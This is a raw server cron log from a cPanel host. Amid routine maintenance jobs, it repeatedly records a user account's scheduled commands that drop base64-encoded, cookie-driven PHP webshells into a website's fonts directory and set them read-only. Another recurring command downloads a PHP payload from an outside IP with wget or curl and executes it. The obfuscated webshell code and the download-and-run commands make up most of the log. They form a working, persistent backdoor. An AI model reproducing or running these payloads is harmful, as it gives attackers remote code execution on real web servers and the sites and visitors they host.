Sep  3 07:47:01 ip-184-168-122-23 CROND[29592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:47:01 ip-184-168-122-23 CROND[29593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:47:01 ip-184-168-122-23 CROND[29594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:47:01 ip-184-168-122-23 CROND[29596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:48:01 ip-184-168-122-23 CROND[29680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:48:01 ip-184-168-122-23 CROND[29684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:48:01 ip-184-168-122-23 CROND[29685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:48:01 ip-184-168-122-23 CROND[29682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:48:01 ip-184-168-122-23 CROND[29683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:49:01 ip-184-168-122-23 CROND[29776]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 07:49:01 ip-184-168-122-23 CROND[29777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:49:01 ip-184-168-122-23 CROND[29779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:49:01 ip-184-168-122-23 CROND[29781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:49:01 ip-184-168-122-23 CROND[29778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29892]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:50:01 ip-184-168-122-23 CROND[29897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:50:01 ip-184-168-122-23 CROND[29906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:51:01 ip-184-168-122-23 CROND[30043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:51:01 ip-184-168-122-23 CROND[30045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:51:01 ip-184-168-122-23 CROND[30051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:51:01 ip-184-168-122-23 CROND[30053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:52:01 ip-184-168-122-23 CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:52:01 ip-184-168-122-23 CROND[30236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:52:01 ip-184-168-122-23 CROND[30241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:52:01 ip-184-168-122-23 CROND[30239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:52:01 ip-184-168-122-23 CROND[30240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:53:01 ip-184-168-122-23 CROND[30344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:53:01 ip-184-168-122-23 CROND[30343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:53:01 ip-184-168-122-23 CROND[30345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:53:01 ip-184-168-122-23 CROND[30346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:54:01 ip-184-168-122-23 CROND[30453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:54:01 ip-184-168-122-23 CROND[30455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:54:01 ip-184-168-122-23 CROND[30457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:54:01 ip-184-168-122-23 CROND[30458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:54:01 ip-184-168-122-23 CROND[30459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:55:01 ip-184-168-122-23 CROND[30621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:55:01 ip-184-168-122-23 CROND[30622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:55:01 ip-184-168-122-23 CROND[30625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:55:01 ip-184-168-122-23 CROND[30624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:55:01 ip-184-168-122-23 CROND[30628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:55:01 ip-184-168-122-23 CROND[30629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:56:01 ip-184-168-122-23 CROND[31023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:56:01 ip-184-168-122-23 CROND[31025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:56:01 ip-184-168-122-23 CROND[31027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:56:01 ip-184-168-122-23 CROND[31026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:56:01 ip-184-168-122-23 CROND[31028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:57:01 ip-184-168-122-23 CROND[31239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:57:01 ip-184-168-122-23 CROND[31240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:57:01 ip-184-168-122-23 CROND[31242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:57:01 ip-184-168-122-23 CROND[31245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:58:01 ip-184-168-122-23 CROND[31425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:58:01 ip-184-168-122-23 CROND[31427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:58:01 ip-184-168-122-23 CROND[31428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:58:01 ip-184-168-122-23 CROND[31431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:58:01 ip-184-168-122-23 CROND[31432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:59:01 ip-184-168-122-23 CROND[31651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
